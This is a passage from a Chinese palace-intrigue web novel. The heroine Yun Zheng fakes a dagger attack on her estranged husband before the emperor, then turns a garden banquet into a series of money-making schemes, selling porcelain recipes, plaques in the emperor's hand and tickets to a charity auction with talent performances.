众人纷纷跪倒在地,“参见皇上,皇上万岁,万岁,万万岁。” 北边的商贾们跪在地上,心情激动又兴奋,眼睛闪闪发亮。 居然能面圣,这次来的太值了! 皇上冷冷看着江闻舟,满眼的嫌弃,“江闻舟,你好大的胆子,居然敢羞辱本朝的郡主。” 江闻舟下意识的看向四皇子,四皇子微微颔首,他似乎找到了一丝勇气。 “皇上,君为臣纲,父为子纲,夫为妻纲,云筝就算是郡主,也是我平西侯府的媳妇,我的妻子,这是谁都不能否认的事实。” “云筝行事不检点,请皇上允许我将她带回去,好好管教,以振夫纲。” 四皇子在一边帮腔,“父皇,女子就该三从四德,对夫君言听计从,云筝不守规矩,叛逆桀骜,请父皇答应江二公子的请求,将她带回去管教。” 左都御史第一个跳出来,“臣附议。” 他太讨厌云筝了,一个女子抢了他们男人的风头和资源,要是人人学她,让他们怎么活? 几个老古板也站了出来,“臣也附议。” 皇上看向云筝,“锦云,你怎么说?” 在这样的重压之下,云筝神情自若,“皇上曾经说过,本朝不能和离,只能丧偶。” 她忽然走近江闻舟,猛的从怀里抽出一把匕首,狠狠刺下去,“是时候丧偶了!” 眼见尖锐的匕首刺向自己,江闻舟吓的魂飞魄散,脑袋一片空白。 “不要!” 第121章 她又发疯了 “住手。” 无数人屏住呼吸,心神剧震,现场气氛紧绷到了极点。 就在这千钧一发之际,一颗小石子飞过来砸中匕首,匕首一歪,掉在地上。 众人齐齐松了一口气。 厉无恙收回手,闭了闭眼,掩去复杂的情绪,只有自己知道心脏跳的有多快。 云筝没有去捡匕首,而是嫌弃的捂着鼻子,朝后退了两步,“好臭,江闻舟,你尿裤子了!天啊!” 江闻舟脚下一团水渍,裤子湿漉漉的。 他四肢发软,害怕又羞恼,“云筝,你这个疯子。” 云筝一脸的遗憾,“可惜了。” 可惜什么?没有弄死他吗? 四皇子的反应极快,立马说道,“父皇,云筝刺杀亲夫,罪该万死,请父皇责罚。” 云筝冷笑一声,“皇上,四皇子急着向百官施恩,结党营私,迫不及待的想送您去死呢。” 来啊,相互伤害啊,要死一起死。 四皇子后背一阵发寒,她好疯!“父皇,她这是陷害。” 云筝毫不示弱,“我不肯向他投诚,他就把江闻舟叫来羞辱我,这样的人,就算成了君王也是暴君,是亡国之君。” 现场一片倒抽冷气声响起,她好勇,好敢! 四皇子脸上血色全失,嘴唇直哆嗦。 一句亡国之君几乎断了他的青云路。 皇上将来考虑继承人时,这句话会一直影响着他的决定。 万一是呢?谁都赌不起! 云筝是个狠人,对别人狠,对自己也狠。 她扑通一声,跪倒在地,“皇上,请您现在就赐死我吧,免得我将来落入暴君之手,受尽凌辱。” 云展鹏夫妻跌跌撞撞的从北边跑过来,也跪倒在地上。 “要死一起死,请皇上赐死我们全家吧。” 看着视死如归的一家人,皇上的脑门嗡嗡作响。 “云筝,你先起来。” 云筝梗着脖子,倔强的要命,“我就不!” 大家都惊呆了,没见过这么作死的,真疯啊。 三皇子提醒道,“锦云郡主,见好就收吧,别玩砸了。” 江城郡主急的要命,“阿筝,起来吧。” 云筝就不起来,就这么直挺挺的跪着,一脸的不服气。 皇上气的直瞪眼,“混账东西。” “云展鹏。” 云展鹏胆战心惊,却不敢给女儿漏气,“臣在。” 皇上深吸一口气,“云展鹏勤勉务实,教女有方,特封为云骑尉,正五品,云蒋氏为五品诰命,钦此。” 云展鹏如被馅饼砸中,整个人都晕乎乎的,不敢置信。 云骑尉?芝麻小,那也是爵位!没弄错吧? 大家都惊呆了,云筝这么闹腾,皇上不但没砍她的脑袋,还捞到了好处? 天啊,这到底怎么回事?难道皇上就吃这一套? 要不,他们也试试? 厉无恙清冷的声音响起,“还不快谢恩。” 云筝看向他,两人的目光在空中交会,交换了一个眼色。 云筝秒懂,这一关她算是过了,好,很好。 多亏同行的衬托,皇上才清楚的意识到她的重要性。 无可替代!独一二无的稀缺性! 没了她,就是不行! 这个云骑尉,是赔礼! 云展鹏夫妻齐齐磕头,“谢陛下隆恩,臣感激涕零。” 皇上瞪着云筝,“你还不起来?” 云筝利落的爬起来,“皇上,您来没带贺礼吗?” 翻脸如翻书,这心态真是绝了。 皇上没好气的白了她一眼,“你还要什么?” 云筝眼珠滴溜溜的转,“温泉别庄,我要冬天泡温泉,种绿叶菜吃!” 有温泉的庄子都被皇亲国戚占了,普通官员是抢不到的,云家也没有这个资格。 皇上:…… “瞧你这出息。” “大伴,西山那几个温泉庄子都在内务府名下?” 大太监暗暗咋舌,“是,一共五个。” 皇上略一沉吟,“那,把最西边的那个温泉别庄赏给锦云郡主。” 云筝眉眼弯弯,喜笑颜开,“谢皇上,我扶您去水榭坐呀。” 好处到位,一切都好谈。 皇上深深的看了她一眼,这算是彻底抹平,又能继续给他挣钱了,对吧? “朕还不老,不用你扶,云爱卿,还不带路。” 云展鹏毕恭毕敬,“是,您请。” 四皇子气疯了,“父皇,您糊涂了?” 皇上冷冷的看了他一眼,眼中没有一丝温情,“放肆,四皇子对君王不敬,罚闭门思过两个月。” 四皇子眼前一黑,两个月?黄花菜都凉了。 皇后小心翼翼求情,“皇上,他年纪小不懂事……” 皇上淡淡的道,“都懂得向百官示施恩了,还小?” 四皇子的心哇凉哇凉的,父皇还是听进去了?云筝害他! 江闻舟咬了咬牙,“皇上,云筝她……” 皇上嫌弃的很,“谁让一个贱奴进来的?扔出去!” 云筝大声回,“是四皇子。” 皇上很不耐烦,“四皇子这么有空管闲事,那,就抄《春秋繁露·基义》篇一百遍,学学三纲五常,什么是君为臣纲、父为子纲。” 四皇子脸色发白,这是对他的警告和敲打。 云筝看着被拖出去的江闻舟,又看看皇上的背影,眼珠滴溜的转,狡猾如狐。 自古深情留不住,唯有套路得人心。 嗯,给他多上点套路。 今日谁都别想轻易出这个园子!皇上也不例外! 嘻嘻,来都来了,都出点血吧! 第122章 他,忽然明白了自己的心意 皇上一走,云筝冲着四皇子冷哼一声,送他一个大白眼。 四皇子气的浑身发抖,“小人得志。” 他被云筝坑惨了! 云筝毫不客气的怼道,“你还是想想怎么哄好皇上吧,君为臣纲,父为子纲,啧啧,皇上对你很不满啊。” 扔下这句话,云筝大摇大摆的走向水榭。 厉无恙推着轮椅迎过来,并排而行,将匕首递过来,“云筝,别脏了你的手,不值得。” 云筝笑嘻嘻的收好匕首,“我就是吓唬他一下,让他出丑,落人把柄的事我才不干呢。” 当众行凶,以她的聪明怎么可能落下这样的把柄? 夜深无人时才适合杀人,自己也不会亲自动手。 匕首看似用力刺下去,其实关键时刻就卸了力道。 就算没有那颗小石子,江闻舟也不会有事。 皇上看出来了,所以,什么都没说。 厉无恙无声的叹了一口气,关心情切,那一刻他的心乱了。 “要杀吗?我帮你。” 云筝愣了一下,“您知道自己在说什么吗?” 厉无恙神色淡漠,“杀他,易如反掌,不会留下半点痕迹。” 云筝怔怔的看着他,他变化好大,初见时他冷漠倨傲,可现在…… “为什么?” 厉无恙浑身又冷又热,说不出的难受,心里话到了嘴边,却临时变了,“我讨厌他。” 云筝默了默,“巧了,我也很讨厌他,不过,先留着吧,他还有用。” “再说了,对他这种心高气傲的侯门公子来说,如今过的尊严全无,人人厌弃,生不如死。” 厉无恙明白了,“行,什么时候想让他死,你说一声。” 云筝嘴角上扬,笑容明媚而又灿烂,“谢王爷庇护。” 厉无恙的心情一下子飞扬起来,她终于笑了。 不远处,太监在叫唤,“锦云郡主,皇上叫您呢。” “来了。” 看着云筝飞奔过去的身影,厉无恙的手不由自主的捂着胸口,他,忽然明白自己的心意了…… 水榭,一共三层,布置的清雅无比,站在三楼能远眺整个花园的美景。 不远处的戏台上唱着戏,热热闹闹。 皇后的神色凝重,时不时的看向云筝。 皇子妃和江城郡主围着她说说笑笑,而皇子们和重臣们随侍在皇上身边。 云筝坐在皇上左手边,尽主人之职,热情的款待客人。 吃吃喝喝之际,云筝忽然让人送上一个花瓶,“皇上,您觉得这个粉彩瓷花瓶如何?” 皇上细细打量了几眼,还上手摸了摸,“色泽淡雅清逸,极为柔美,这种瓷很少见。” 云筝笑眯眯的说道,“是我家新研发的产品,皇上,帮我起个好听的名吧。” 皇上略一沉吟,“色若渥丹,灿若明霞,就叫丹霞瓷。” 云筝开心极了,“好名字,我喜欢,我给您露一手吧。” 皇上没听明白,“什么意思?“ 云筝笑眯眯的说道,“给您表演一下,何为日进万金。” 皇上眉眼俱是笑意,这个好! 哄了半天,他的财神娘娘又开始给他挣钱了,开心! 坐在右手边的厉无恙扬了扬眉,皇上没有听出哪里不对吗? 只是表演!刺激你呢。 南边湖畔,内阁成员和六部尚书被请去了水榭,其他留了下来,群情激动。 云展鹏的命真好啊,教女有功就得了一个爵位! 爵位是无数男人终其一生的奋斗目标,而,云筝轻轻松松就为父母挣到了。 人比人,气死人。 他们怎么就没有一个这样的女儿? 一个能顶十个啊,羡慕哭了。 北边湖畔,商人们激动的不行, 他们是接到了请柬,犹豫了半晌,才选择来云府参加宴会。 比起官府,他们更信任这位手段了得的锦云郡主。 都说,她被宫中冷落,被百官踢出慈善义拍,失去了未来,可,九千岁一张请柬足矣。 在这风口浪尖,九千岁为她撑腰,这是何等的情谊。 他们是想借机在九千岁面前混个脸熟,但,没想到还能亲眼见到皇上。 皇上那么尊贵,却微服跑来为锦云郡主庆贺,送了大礼,还封赏了云父一个爵位。 这样的荣耀让人羡慕坏了。 谁说锦云郡主失宠了?谣言! 一套瓷器送上来,有碗,盘,瓶,炉,罐等等。 管家大肆宣扬自家的产品,着重点出皇上的最爱,还亲自赐名。 商人们眼睛齐刷刷的亮了,“皇上亲自赐名丹霞瓷?” “是。”大管家笑容满面。 商贾们纷纷围上来,细细的看。 这瓷器确实好,别具一格,尤其适合当摆件。 大家的心一下子火热起来,“真好看,不知这些卖吗?” 东西是好,又是皇上亲自命名的,这可是大大的商机。 皇上赐名,这瓷器立马身价百倍。 上之所好,民必甚焉,皇上喜欢的,朝野谁不想要? 大管家摆了摆手,“不卖,只卖秘方。” 大家都愣住了,怀疑自己的耳朵出了问题,“你说什么?再说一遍。” 大管家一脸的骄傲,“我家郡主说了,只卖十份秘方,价高者得。” 在场的人怦然心动,秘方在手,子子孙孙都不愁了。 “我要,我要。” 大家差点大打出手,大管家赶紧安抚道,“都别吵了,大家做准备吧,这次是暗拍,你们写下价格,从高到低,取十人。” 这没法拍卖,只能是暗拍。 大家都是有经验的,为了拍卖会也筹了不少钱,有的是资本。 就是,该写多少呢?写少了,出局。写多了,怕亏本。 大家纷纷问身边的人,“你写多少?” “十万吧,你呢?” 大家都是竞争对手,没有一个说实话的,拐弯抹角的相互试探,玩心眼。 很快,暗拍的箱子送上水榭。 云筝接了过来,却没有拆开,“皇上,您先看吧。” 皇上美滋滋的打开箱子,取出里面的纸,全是报价。 按照价格高低一字排开,最高五十万,最低十万。 云筝挑出最上面的十张报价,宣布道,“就这十家,恭喜他们,让他们赶紧将钱交割完毕,一手交钱,一手将秘方。” 这么一来,十份秘方一共卖出了几百万两银子,这钱真好挣! 不过想想,这秘方可以传给子子孙孙,都不用担心挨穷,值啊。 再说了,卖个几年就能回本,以后都是纯利润。 而云筝呢,她贼坏,当着这些人的面点钱,一箱箱的银票,特别刺激人。 坐在水榭的人都不差钱,但,还是第一次直观面对金钱的野蛮冲击。 听到是一回事,亲眼看到是另一回事。 皇上眼巴巴的看着,这钱都点完了,怎么还不给他? 云筝能不知道吗?知道,但,今日是重写规则的开始。 规则,将由她来定! “皇上。” 皇上精神一震,喜气洋洋的,“你说,你说,你快说。” 厉无恙嘴角轻轻上扬,皇上恐怕要失望了。 第123章 她在立规矩!给所有人立规矩 云筝指着刚刚送上来的新鲜点心,“皇上,这点心不错,快尝尝。” 皇上:……耍他? 三皇子见过世面,最淡定,“锦云,干嘛卖秘方啊,像上次那样卖地区代理权,照样能挣的盆满钵满,还能长长久久的。” 云筝笑眯眯的说道,“我是为了挣钱吗?我是为了促进商业繁荣,百姓有机会养家糊口,是为了千千万万的百姓。” “这叫藏富在民间。” 她满口胡说八道,但角落里的四皇子当真了,立马如抓到了把柄般,神色激动,“锦云郡主,你好大的野心,你这是招揽民心。” 云筝奇怪的反问,“咦,你怎么还没走?不是要圈禁吗?” 四皇子气的直瞪眼,“不是圈禁,是禁足。” 性质截然不同! 云筝一脸的嫌弃,“一个意思。” 她不耐烦的扭过头,“皇上,我们家的亭台楼阁如此美丽,您帮我题几个匾额吧,一个匾额……” 皇上心里不痛快呢,挣了钱居然没有上交,她的气还没有消? “不写。” “润笔费十万两……”云筝的话戛然而止,“啊,您不写?那算了。” “首辅大人,您是百官之首,字一定很好看,你您可否帮我题几个匾额?” 首辅的眼睛亮了,这活他能干! 好日子终于轮到他了。 皇上急了,这丫头说话能不能别大喘气?“他的字丑,不能见人,远远不及朕。” 首辅还想争一争,“老臣觉得可以试一试。” 十万两啊,好大的手笔,不愧是锦云郡主。 皇上板着脸,“不行。” 他的意思大家都看明白了,云筝就是装不懂,“那九千岁来吧,他的字好看。” 厉无恙举起右手,“行,笔墨伺候。” 文房四宝送上来,厉无恙刚想拿起毛笔,就被皇上抢走了,“他的字有形无神,差了一点火候。” “算了,看你这么诚心的份上,给你写二十个吧。” 这么一来,二百万就到手了。 云筝嘴角抽了抽,“十个就够了。” “行,那就十个。”皇上生怕有人抢似的,立马现场挥毫泼墨。 不得不说,他还是有两把刷子的,每个匾额名都起的相当不错。 沧浪亭,揽星台,浮翠榭,枕溪居,沁园等等。 云筝没有废话,直接点了百万银票,全部推给皇上。 皇上的心情舒爽,不错不错,他是靠自己的手艺挣钱! 众人羡慕的眼睛都红了,这钱也太好挣了吧。 锦云郡主,来看看我吧,这钱我也能挣! 云筝发话了,“来人,找人制作匾额,挂上去。” 四皇子看看皇上,又看看云筝,微微蹙眉,他怎么觉得这两人有点像,是错觉吗? 云筝招呼大家吃吃喝喝,极为热情。 皇上欲言又止,剩下的钱呢?不给了? 但,他也是要面子的,不好直接问。 别人也不想配合他,太刺激人了。 大管家前来禀道,“主子,匾额都挂上了。” “这么快?”云筝表示很满意,“那放话出去,就说,我这云府不再住人,以后供大家游玩,正式改名为沁园。若有人想在沁园摆宴,欢迎提前预定。” 她刷刷的写下几行字,“规格分为三种,6666两,8888两,9999两,这是具体内容,拿去给大家瞧瞧。” 众人目瞪口呆,我却,一环扣着一环,一套接着一套,花样百出。 皇上嘴角抽了抽,他好像成了云筝的挣钱工具。 先是丹霞瓷,再是匾额,她是明晃晃的打着他的幌子挣钱! 不行,得分他钱! 有皇上的亲笔牌匾做噱头,立马引来权贵和商贾们的热捧,纷纷预定,已经订到两个月后。 云筝又收到了一大笔订金,高高兴兴的数钱玩。 大家直勾勾的盯着她,神色各异。 皇上心情很复杂,难怪她愿意付那么高的润笔费。 将他的价值反复利用,发挥到极致。 她从来不做亏本生意,奸商。 “你这是抢钱!” 云筝眉开眼笑,“两厢情愿,怎么能算抢钱呢?您没见他们有多高兴吗?生怕我反悔,求着我收下订金呀。” 皇上无话可说。 云筝忽然抽出一大把银票塞给厉无恙,“九千岁,给你。” 厉无恙受宠若惊,给他一个人吗? 皇上不乐意了,“锦云,你不是说,只给朕花钱吗?” 云筝理直气壮的说道,“我忽然发现,倒贴的不值钱,轻易得到的不会珍惜,做人要有格调。” 皇上:!她怎么这么记仇? 他算是明白了,以后啊,想从她手里拿钱,就得代出相应的代价,没有不劳而获的好事了。 厉无恙微微一笑,“皇兄,我觉得云筝说的没错。” 皇上气笑了,“你们……” 云筝忽然轻笑道,“皇上,我忽然有个挣钱的好点子,您要吗?” 皇上面色稍霁,“说。” 云筝压低声音说道,“我打算每年从全国商贾中挑出十个,赐皇上亲笔写的福字。” 众人目瞪口呆,她怎么敢开口的? 首辅喷茶了,她在说什么? 用皇上的福字,拿来吊商贾的胃口?她这是借机掌控天下商贾,野心全摆在台面上啊。 厉无恙沉默,她在立规矩!给所有人立规矩,包括皇上! 皇上冷冷的瞪着她,大胆! 四皇子立马跳出来指责,“不行,不能用父皇的名号招摇撞骗。” 云筝伸出一根手指,“一张十万两。” 皇上默了默,也不是不能商量。“十张是不是太少了?” 其实,他也有好处,钱有了,还能巩固自己在民间的权威。 但是吧,他不能出面,皇室不能出面,内务府也不能出面,否则帝王的格调就没有了。 总不能将字卖给商贾吧,一个与民争利的大帽子就扣上了。 所以,只有云筝最合适,官方不能做的事,她可以做,中间转一手。 她真的是不可替代的存在。 云筝微微一笑,“物以稀为贵,不能扰乱市场价格。” 皇上竖起二根手指,“二十万。” 二百万两银子,够皇宫一年的开销了。 云筝沉吟半响,“成交。” 三皇子眼睛闪闪发亮,她的脑子怎么这么好使?想要! 云筝见状,瞪了他一眼,“你不会是想把我脑袋换给你吧?做梦。” 三皇子嬉皮笑脸的凑过来,“我就想想而已,你也帮我想条财路吧。” 云筝惊叹他的厚脸皮,“我跟你非亲非故的,不干。” 三皇子眼珠一转,“要不,我娶你吧。” 现场一片哗然,云筝瞪大眼睛,啥? 厉无恙的眼神冷了几分,他也配? 皇上冷冷的看着儿子,“你说什么?” 三皇子大声嚷嚷,“父皇,您赶紧让她和离吧,儿子想让她当三皇妃。” 第124章 爆个大猛料 皇上没好气的轻斥,“胡闹。” 三皇子眼睛闪闪发亮,“父皇,我就喜欢她,我要娶她!” 厉无恙眉头紧蹙,小三这是找抽,是吧? 四皇子看不下去了,嘲讽道,“呵,你是喜欢她的钱。” 三皇子理直气壮的怼回去,“钱是她的一部分,是她实力的象征,我就喜欢她这样有实力的女子。” “你清高,你了不起,你活该当一辈子穷光蛋。” “你……”四皇子气的直瞪眼,“别忘了她是有夫之妇。” 三皇子才不在乎这些呢,规矩是约束普通人的。 “一场没拜堂的婚礼,没有拜祠堂,没有上祖谱,谁承认了?只是那些贪婪的家伙,才会死缠烂打,不肯放手。” “父皇,您让她和离吧。” 云筝挑了挑眉,他总算说了一句人话。 厉无恙清冷的声音响起,“皇兄,我也觉得这是一场荒唐可笑的骗局,请您拨乱反正。” 江城郡主也站了起来,“皇上,请您允许和离吧,那江闻舟怪恶心的,配不上阿筝。” 看吧,等你有足够实力时,可以打破一切规则。 这叫,待我功成名就之时,自有大儒为我辩经。 礼部尚书站出来反对,“皇上,此例不可开,一旦人人效仿,后患无穷。” 厉无恙淡淡的道,“人人效仿?许尚书,难道你家也有骗婚的习惯吗?” 礼部尚书气的吹胡子瞪眼,“九千岁,您这话不能乱说……” 皇上不耐烦的打断,“行了,别吵了,朕金口玉言,绝不更改,锦云,你只要得到六部尚书的一致认可,朕就允你和离。” 云筝淡淡扫视六部尚书,大家神色各异。 户部尚书主动说道,“锦云郡主,只要你将此次的慈善义拍圆满完成,我就认可。” 工部尚书也附和,“我也如此。” 谁会跟财神娘娘过不去?她随便从手指缝里漏点出来,就能让他们过个好年。 户部尚书太清楚云筝的能力,不愿跟钱过不去。 工部尚书还指望云筝借调匠人,有一笔丰厚的借调费。 还没开始,她已经有了两票。 兵部态度不明,但兵部的军队粮草,士兵军饷都需要银子,跟她过不去?呵呵。 至于,吏部、礼部、刑部是老古董,态度强硬。 不过,没有关系,她有杀手锏。 皇后不动声色的看了四皇子一眼。 四皇子立马站起身,主动建议道,“择日不如撞日,人都在,就今日吧。” 他觉得自己还可以争取一下,不想被禁足。 左都御史连忙附和,“对对,就今日,把事情办的漂漂亮亮。” 云筝笑而不语。 四皇子眉头一皱,“怎么了?有什么问题?” 云筝神色诧异,“你们是真的不懂吗?” 四皇子脸色不好看,“什么意思?” 云筝把玩着茶杯,眉眼含笑,“那种场合需要有实力的竞拍者,越多越好,气氛一喧染一上头,价格就飙上去了。” “如今,就五十个名额,钱还刚刚花出去, 消费欲望就下降了,这个时机不合适。” 还有这么多道道?大家若有所思。 左都御史不是很理解,“可你,只放出去五十个名额。” 云筝撇了撇嘴,“一批批的放,才能飙价啊,谁知道,你们居然一张门票都卖不出去。” 左都御史一听这话不乐意了,这显得他们很无能。 “那要怪你跟我们唱对台戏。” 云筝当场就翻白眼,阴阳怪气的说道,“真正的强者是不惧任何挑战的,只有废物点心才会怪东怪西,推卸责任。” 她是一点委屈都不能受,当场就还回来。 左都御史:……你才是废物点心,你全家废物点心。 他憋着一口气,“那什么时候合适?” “三日后。” 左都御史眉头紧皱,“那今日的损失,怎么办?” 云筝像是没听到,拿起点心咬了一口,关她屁事。 礼部尚书看了过来,“锦云郡主,你是这方面的行家,帮着挽回一些损失吧。” 刑部尚书也帮腔,“郡主,你这么能干,这么厉害,帮帮忙吧。” 大家为这一场慈善义拍花掉了十几万,还赊着账,这个窟窿总要有人填上。 “你能者多劳吧。” 云筝反问道,“我有什么好处?” 四皇子理所当然的说道,“大家都是为了朝廷出力,又不是为了某人某家,格局要大点,不要拘泥小节。” 云筝听而不闻,拿起一块桃花酥,递给厉无恙,“九千岁, 这点心不错,吃不吃?” “吃。”厉无恙毫不犹豫的接过来,吃掉。 好甜,甜到心里了。 左都御史急的不行,“皇上,您让锦云郡主好好办差吧。” 皇上看着旁若无人的云筝,无奈的叹了一口气。 她明显不愿意兜底。 也是,有了第一次,就会有第二次,她怎么肯开这个口子?谁愿意帮对家收拾烂摊子? “这亏损由国库补上,各部办事不利,主官罚一年俸禄,下面的罚三个月俸禄,都长长记性。” 大家的脸色不好看,但无可奈何。 处心积虑将云筝挤出去,却没有抢到功劳,丢脸丢大了。 三皇子见气氛沉闷,主动打破,“父皇,先说好了,锦云一旦和离,我就娶她当正妃。” 云筝翻了个白眼,还正妃侧妃呢,问过她的意见了吗? 礼部尚书心里不爽,故意站出来说道,“女子就该从一而终,我许氏一族的女儿,个个贤良淑德,温婉大气。” 许家向来以门风清白为豪,许家有女百家求。 厉无恙眼神一冷,“哦,你三女儿爬大姐夫的床,未婚先孕,是这种贤良淑德吗?” “轰隆隆”,现场一片哗然。 还有这种丑事?许家瞒的真好啊,一点风声都没有。 礼部尚书脸色大变。 左都御史猛的跳起来,惊怒交加,“什么?三女儿?是跟我家庶长子订亲的许三小姐?” 云筝乐坏了,居然是儿女亲家,难怪一唱一和呢。 厉无恙挑了挑眉,“对,正是她。” “你不知道吗?你家满心欢喜的求娶,本王还以为你家就喜欢这种乱搞的女子。” 杀人诛心! 左都御史气的眼前一黑,一口血喷出来。 你家才喜欢乱搞的! 啊啊啊,想杀人! 一道惊叫声猛的响起,“皇后娘娘,您怎么了?” 云筝猛的回头,只见皇后脸色苍白,身体摇摇欲坠,像是受了刺激。 哟,她激动什么? 第125章 我却,居然这么刺激 云筝奇怪极了,悄悄靠近厉无恙,“皇后为何如此?” 她偷偷摸摸打听八卦的模样,很是可爱,厉无恙嘴角轻轻上扬,“那个大姐夫正是皇后的亲侄子。” 云筝的眼睛刷的亮了,我却,居然这么刺激。 会说,多说点,她爱听。 皇后出身昌国公府,昌国公府曾经显赫一时,手握十万大军。 皇后进宫后,昌国公府就上交了兵权。 昌国公府世子娶的是礼部尚书的嫡长女,爬床的是庶女。 “怎么都是亲戚?” “这个圈子相互联姻,来来去去就是这些人。” 云筝忽然看到在皇后身边急的团团转的四皇子,心里一动,“所以,左都御史才投靠了四皇子?” 权贵之间的联姻,本来就是利益交换,结成利益小集团,一荣俱荣一损俱损。 厉无恙微微颔首。 云筝有些幸灾乐祸,“就是不知道,出了这样的丑事,会翻脸吗?” 厉无恙沉默不语,没有那么简单,往往牵一发而动全身。 忽然,他猛的回头,大皇子直勾勾的看着他们,眼神闪烁,不知在想什么。 大皇子下意识的低头,但,反应过来后,冲他们尴尬一笑。 他主动走过来交谈,“锦云郡主,你是百年难得一见的经商奇才,我实在仰慕,我能跟你身边学做生意吗?” 云筝神色淡淡的,“皇子不能与民争利。” 皇子退而求其次,“那,我送个人过来?” 云筝依旧婉拒,“抱歉。” 她跟所有皇子保持距离,不偏不倚,才是最佳选择。 皇上也不会愿意看到她跟皇子们走近的。 大皇子被拒绝了也不生气,“没事,没事,我就是随口一提。” 看着他远去的背影,云筝挑了挑眉,“大皇子挺平易近人,没有架子。” 厉无恙嘲讽道,“在皇室,没有心机的人早就死了。” 云筝若有所思。 宴会后第二日,无数商人排着队挥舞着银票找上云筝,求买门票。 云筝第一天只卖了五十张票,第二天卖了二百张票,第三天也卖了二百张票。 那些闻讯赶来的商人,终于赶上了最后一波。 沁园能容下五百人,但,再多就负荷不了,也太嘈杂。 大家一进园子,就急着去看皇上的御笔,驻足瞻仰。 地方一样,但,布置截然不同,这次更加的富丽堂皇。 水榭旁边搭了一个高台,供表演用。 “上次你们就在这里见到了皇上?” “对,皇上就坐在水榭的三楼,能看的一清二楚。” “哎,早知道,就不去外地做生意了。” “我们也是惊喜万分,谁能想到皇上会微服出巡呢?” 上次参加的人觉得赚翻了,光是谈资就够他们吹嘘一辈子。 没赶上的扼腕叹息,“我还真以为锦云郡主失宠了呢。” “怎么可能?锦云郡主聪明伶俐,那么会挣钱,谁舍得呀?” “我决定要牢牢抱住锦云郡主这条大腿,求她庇护。” 商人挺难的,不仅要费尽心思做生意,还要被层层盘剥,还不如直接投靠锦云郡主。 她能直达天听,背靠着皇上和九千岁。 同伴翻了个白眼,“哪里轮得到你?前面排队的人多的是,郡主是个难得讲诚信的人,没有再收我们门票钱。” 上次参加宴会的人,一律不再收门票钱。 “仗义!” 云展鹏出面招待,吃的喝的都极尽奢侈,招待热情,让人宾至如归。 大家吃吃喝喝,谈天说地,极为愉快。 水榭没开放,专门留给贵宾休息的地方。 云筝站在水榭三楼,四处眺望,远远看到一行人走近。 “皇后娘娘来了。” 不光皇后来了,还把那些公子小姐们带来了,他们的家人也来了。 云筝跟他们打招呼,看到了一个不该出现的人,“四皇子,你怎么来了?不是圈禁吗?” 四皇子的笑脸垮了,很暴躁,“是禁闭,禁闭!” 三皇子哈哈大笑,“皇后娘娘替他求情,特许他今日出来。” 毕竟,是为了他们选妃。 云筝不动声色看了皇后一眼,跟个无事人般,全然没被影响。 果然,能坐稳皇后之位的,都是狠人。 江城郡主笑眯眯的挽着云筝的胳膊,“听说,昌国公府闹翻天了,都动用了家法。礼部尚书和左都御史两家更是闹的不可开交?” 云筝微微颌眉,“对,两家谈妥了,要换新娘,许家换嫡出的四女儿。” 江城郡主在深宫,消息没有那么灵通。 她闻言怔了怔,看向不远处。 “那个蓝衣女子就是许家四小姐,许婉婧,本来是皇妃的热门人选,没想到要为家里填坑,真惨。” 一般来说 ,嫡出配嫡出,庶出配庶出,许三是庶出,配的是左都御史的庶长子,也不算辱没她,结果,她转头跟大姐夫,昌国公府的世子搞上了。 倒霉的是,许家四小姐,许婉婧。 许婉婧像是察觉到了,走过来行了一礼,“见过江城郡主,见过锦云郡主。” 她不算是大美人,但,清秀温婉,举止投足之间透着一股书卷气,是耐看型的。 云筝笑问,“许四小姐,你今日准备表演什么?” “弹琴。” 云筝笑着祝福,“那预祝你拔得头筹。” 许婉婧迟疑了一下,“锦云郡主,您成亲时发现平西侯世子兼祧两房,为何没有妥协?” 云筝知道,妥协只有死路一条。 “不甘心呗,他敢骗我,就得付出代价。” 许婉婧压低声音问道,“那时,平西侯府势大,您不怕吗?” 云筝看着她眼中的不甘,“怕啥?就算死也要带着对方一起死,我不好过,谁都别想好过。” 许婉婧抿了抿嘴唇,“您就不怕牵连家人?就不怕被家人责怪吗?” 有趣!云筝心里一动,“一家人就要同甘共苦,总不能我一个人受苦,别人都在享福,是吧。” “真正爱我的家人,是不会介意的,不爱我的人,管他们去死。” “多谢。”许婉婧若有所悟,飘然而去。 江城郡主有些不安,“我怎么觉得她要搞事情?” 云筝眉眼弯弯,“怕啥?她亲爹在呢,天塌下来他顶着。” 江城郡主嘴角抽了抽,这幸灾乐祸的语气哟,她就是故意的! 果然,出大事了! 第126章 她,玩的太花 慈善义拍场面很大,人数翻了几倍,但,云家安排的井井有条,一点都不乱。 每个买了门票的人都发了六支鲜花。 四皇子忽然说道,“锦云郡主,你聪明一世,糊涂一时,这比赛怎么没安排裁判?” 这也是大家好奇的。 云筝神色淡淡的,“我自有打算。” 四皇子一副你就是死鸭子嘴硬的模样,“出了纰漏,就老老实实认嘛,人无完人。” 云筝瞥了他一眼,语气凉薄极了,“就这么想看我出丑?那要让你们失望了。” 时间到了,云筝大大方方的走上高台,“大家好,欢迎大家来到沁园共襄盛举,我是锦云郡主,云筝。” 台下一片欢呼声响起。 云筝直接开门见山,“此次的流程与往常有所不同,每三件拍品后,就会有一场才艺表演,来自京城各大名门的公子千金们为了做善事义演,为增加趣味性,决定采取比赛性质。” “大家手里都有六支鲜花,如果觉得哪个节目好,就将鲜花送给他们。” “花最多的那个节目,将得到皇上的褒奖,所以,请大家踊跃参加。” 商贾们的眼睛刷的亮了,兴奋的满面通红。 给公子和贵女们打赏?还能这么玩?! 低位者给高位者打赏,本身就是奇事,却精准的拿捏住了商贾们猎奇心思,也满足了他们微妙的心理需求。 水榭里一片惊叹声,“难怪她没请裁判,这些商贾就是裁判啊。” “这杜绝了作弊,挺好的。” 云筝举起右手,底下立马安静下来。 “开始吧,第一件拍品,是皇后娘娘捐出的翡翠玉钗,南诏进贡的贡品,世间独一无二。” 她展示拍品,玉钗在阳光下散着迷人的光芒。 “皇后娘娘是一国之母,佩饰自然是沾了凤气的,谁要是得了,那是洪福齐天。” “而且,这是宫制的,平时普通人都不许佩戴,但,这次是特许,只此一批。” 这话一出,底下一片骚动,眼中全是渴望,想要! 这一批拍品品质不错,但,也不是顶顶好的,款式也旧了,娘娘们都不稀罕了。 不过,这些商人不在意,要的就是宫制首饰,允许他们显摆。 这两点足以让他们疯狂。 “起拍价,一千两,每次加价不少于一千两,开始。” 她的话音刚落,底下就疯抢,“二千两。” “五千两。” “一万两。” 气氛越来越热烈,大家都想拍下这件玉钗,竞拍之下,价格越来越高。 云筝牢牢掌控着节奏,“十万一次,十万二次,还有人要跟吗?” 底下又有人举手了,“十万一千。” “十二万。” “还有人跟吗?” 